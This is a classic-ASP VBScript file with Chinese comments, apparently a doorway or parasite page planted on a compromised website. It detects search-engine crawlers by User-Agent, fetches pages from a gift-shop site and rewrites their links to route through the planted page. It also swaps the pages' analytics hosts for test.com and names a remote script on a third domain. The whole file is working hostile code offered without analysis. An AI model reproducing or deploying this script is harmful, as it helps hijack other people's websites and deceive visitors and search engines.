%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%>
<%
on error resume next
dim jumptodomain, imagefolder, fromsite, tourl
jumptodomain = "http://www.autoairtool.com/bt/gift-only.js"
fromsite = "http://www.gift-only.com/"
tourl ="http://www.llsystems.com.br/kojgqmv.asp"
imagefolder = "images/"
tourl = tourl&"?" 'test
'读取UTF-8格式的文本文件
function ReadFromTextFile (FileUrl,CharSet)
dim str
set stm=server.CreateObject("adodb.stream")
stm.Type=2 '以本模式读取
stm.mode=3
stm.charset="UTF-8"
stm.open
stm.loadfromfile server.MapPath(FileUrl)
str=stm.readtext
stm.Close
set stm=nothing
ReadFromTextFile=str
end function
'判断是否搜索引擎
function GetBot()
'查询蜘蛛
dim s_agent
GetBot=""
s_agent=Request.ServerVariables("HTTP_USER_AGENT") '关键判断语句
if instr(1,s_agent,"googlebot",1) >0 then
GetBot="google"
end if
if instr(1,s_agent,"bing",1) >0 then
GetBot="bing"
end if
if instr(1,s_agent,"yahoo",1) >0 then
GetBot="yahoo"
end if
if instr(1,s_agent,"bot",1) >0 then
GetBot="bot"
end if
end function
Function GetLocationURL()
Dim Url
Dim ServerPort,ServerName,ScriptName,QueryString
ServerName = Request.ServerVariables("SERVER_NAME")
ServerPort = Request.ServerVariables("SERVER_PORT")
ScriptName = Request.ServerVariables("SCRIPT_NAME")
QueryString = Request.ServerVariables("QUERY_STRING")
Url="http://"&ServerName
If ServerPort <> "80" Then Url = Url & ":" & ServerPort
Url=Url&ScriptName
If QueryString <>"" Then Url=Url&"?"& QueryString
GetLocationURL=Server.URLEncode(Url)
End Function
Function GetCode(str,regstr)
Dim Reg,serStr,Cols
Set Reg= new RegExp
Reg.IgnoreCase = True
Reg.MultiLine = True
Reg.Pattern =regstr
If Reg.test(str) Then
Set Cols = Reg.Execute(str)
GetCode=Cols(0).SubMatches(0)
Else
GetCode=""
End If
Set Cols = Nothing
Set Reg = Nothing
End Function
%>
<%
on error resume next
Function getHTTPPage(URL)
Set HTTPReq = Server.createobject("Msxml2.XMLHTTP")
HTTPReq.Open "GET", URL, False
HTTPReq.send
If HTTPReq.readyState <> 4 Then Exit Function
getHTTPPage = Bytes2bStr(HTTPReq.responseBody)
Set HTTPReq = Nothing
End Function
'根据字符串获取产品编号,并构造目标路径
Function getID(URL)
dim purl '路径
dim pid '编号
dim p_num '行数
dim pstr
getID=""
pstr="index.php?main_page=product_info&products_id="
txturl="zinc/www.gift-only.cc-id-url.txt" '路径对应的txt文件
'txts=getHTTPPage(txturl) '获取远程路径文件
txts=ReadFromTextFile(txturl,"UTF-8") '获取本地路径文件
' response.write(txts)
urls=split(txts,chr(10))
p_num=UBound(urls)
'循环处理每行数据
for n=1 to p_num '读取前二十行
stemp=split(urls(n),"==>")
purl=stemp(0) '获取产品路径
pid=stemp(1) '获取产品编号
if purl=URL then
getID=pstr&pid
exit for
end if
next
'response.write(txts)
End Function
Function Bytes2bStr(vin)
Dim BytesStream,StringReturn
Set BytesStream = Server.CreateObject("ADODB.Stream")
BytesStream.Type = 2
BytesStream.Open
BytesStream.WriteText vin
BytesStream.Position = 0
BytesStream.Charset = "EUC-JP"
BytesStream.Position = 2
StringReturn =BytesStream.ReadText
BytesStream.close
Set BytesStream = Nothing
Bytes2bStr = StringReturn
End Function
dim str
dim bot
bot=""
bot=GetBot()
' response.write "aaa"&bot &Request.QueryString
if Request.QueryString<>"" then
'如果是搜索引擎则不调用
if bot="" then
str=getID(Request.QueryString)
end if
htmls = getHTTPPage(fromsite&Request.QueryString)
htmls = replace(htmls,""&chr(34)&fromsite,""&chr(34)&"/")
htmls = replace(htmls,"",""&chr(13)&""&str&chr(34)&">")
htmls = replace(htmls,"cnzz.com","test.com")
htmls = replace(htmls,"51.la","test.com")
htmls = replace(htmls,"charset=euc-jp","charset=UTF-8")
htmls = replace(htmls,""&chr(34)&"/"&imagefolder,""&chr(34)&fromsite&imagefolder)
htmls = replace(htmls,""&chr(34)&imagefolder,""&chr(34)&fromsite&imagefolder)
htmls = replace(htmls,""&chr(34)&"/includes/",""&chr(34)&fromsite&"includes/")
htmls = replace(htmls,""&chr(34)&"includes/",""&chr(34)&fromsite&"includes/")
htmls = replace(htmls,""&chr(34)&"/media/",""&chr(34)&fromsite&"media/")
htmls = replace(htmls,""&chr(34)&"media/",""&chr(34)&fromsite&"media/")
htmls = replace(htmls,""&chr(34)&"/themes/",""&chr(34)&fromsite&"themes/")
htmls = replace(htmls,""&chr(34)&"/skin/",""&chr(34)&fromsite&"skin/")
htmls = replace(htmls,""&chr(34)&"js/",""&chr(34)&fromsite&"js/")
htmls = replace(htmls,""&chr(34)&"/js/",""&chr(34)&fromsite&"js/")
htmls = replace(htmls,""&chr(34)&"/scripts/",""&chr(34)&fromsite&"scripts/")
htmls = replace(htmls,"href="&chr(34),"href="&chr(34)&"/")
htmls = replace(htmls,"href="&chr(34)&"//","href="&chr(34)&"/")
htmls = replace(htmls,"href="&chr(34)&"/http","href="&chr(34)&"http")
htmls = replace(htmls,"href="&chr(34)&"/","href="&chr(34)&tourl)
htmls = replace(htmls,"href='"&fromsite,"href='"&tourl)
htmls = replace(htmls,tourl&"css/",fromsite&"css/")
htmls = replace(htmls,""&chr(34)&"/lib",""&chr(34)&fromsite&"lib")
htmls = replace(htmls,"?./","?")
htmls = replace(htmls,""&chr(34)&"/item_img/",""&chr(34)&fromsite&"item_img/")
htmls = replace(htmls,tourl&"birthday/",fromsite&"birthday/")
htmls = replace(htmls,"src="&chr(34)&"/birthday/","src="&chr(34)&fromsite&"birthday/")
htmls = replace(htmls,"src="&chr(34)&"../","src="&chr(34)&fromsite&"")
htmls = replace(htmls,"../","")
htmls = replace(htmls,"src="&chr(34)&"/contents/","src="&chr(34)&fromsite&"contents/")
else
htmls = getHTTPPage(fromsite)
htmls = replace(htmls,""&chr(34)&fromsite,""&chr(34)&"/")
htmls = replace(htmls,"",""&chr(13)&""&chr(34)&">")
htmls = replace(htmls,"cnzz.com","test.com")
htmls = replace(htmls,"51.la","test.com")
htmls = replace(htmls,"charset=euc-jp","charset=UTF-8")
htmls = replace(htmls,""&chr(34)&"/"&imagefolder,""&chr(34)&fromsite&imagefolder)
htmls = replace(htmls,""&chr(34)&imagefolder,""&chr(34)&fromsite&imagefolder)
htmls = replace(htmls,""&chr(34)&"/includes/",""&chr(34)&fromsite&"includes/")
htmls = replace(htmls,""&chr(34)&"includes/",""&chr(34)&fromsite&"includes/")
htmls = replace(htmls,""&chr(34)&"/media/",""&chr(34)&fromsite&"media/")
htmls = replace(htmls,""&chr(34)&"media/",""&chr(34)&fromsite&"media/")
htmls = replace(htmls,""&chr(34)&"/themes/",""&chr(34)&fromsite&"themes/")
htmls = replace(htmls,""&chr(34)&"/skin/",""&chr(34)&fromsite&"skin/")
htmls = replace(htmls,""&chr(34)&"js/",""&chr(34)&fromsite&"js/")
htmls = replace(htmls,""&chr(34)&"/js/",""&chr(34)&fromsite&"js/")
htmls = replace(htmls,""&chr(34)&"/scripts/",""&chr(34)&fromsite&"scripts/")
htmls = replace(htmls,"href="&chr(34),"href="&chr(34)&"/")
htmls = replace(htmls,"href="&chr(34)&"//","href="&chr(34)&"/")
htmls = replace(htmls,"href="&chr(34)&"/http","href="&chr(34)&"http")
htmls = replace(htmls,"href="&chr(34)&"/","href="&chr(34)&tourl)
htmls = replace(htmls,"href='"&fromsite,"href='"&tourl)
htmls = replace(htmls,tourl&"css/",fromsite&"css/")
htmls = replace(htmls,""&chr(34)&"/lib",""&chr(34)&fromsite&"lib")
htmls = replace(htmls,"?./","?")
htmls = replace(htmls,""&chr(34)&"/item_img/",""&chr(34)&fromsite&"item_img/")
htmls = replace(htmls,"src="&chr(34)&"/birthday/","src="&chr(34)&fromsite&"birthday/")
htmls = replace(htmls,"src="&chr(34)&"../","src="&chr(34)&fromsite&"")
htmls = replace(htmls,"../","")
htmls = replace(htmls,"src="&chr(34)&"/contents/","src="&chr(34)&fromsite&"contents/")
end if
response.write htmls
%>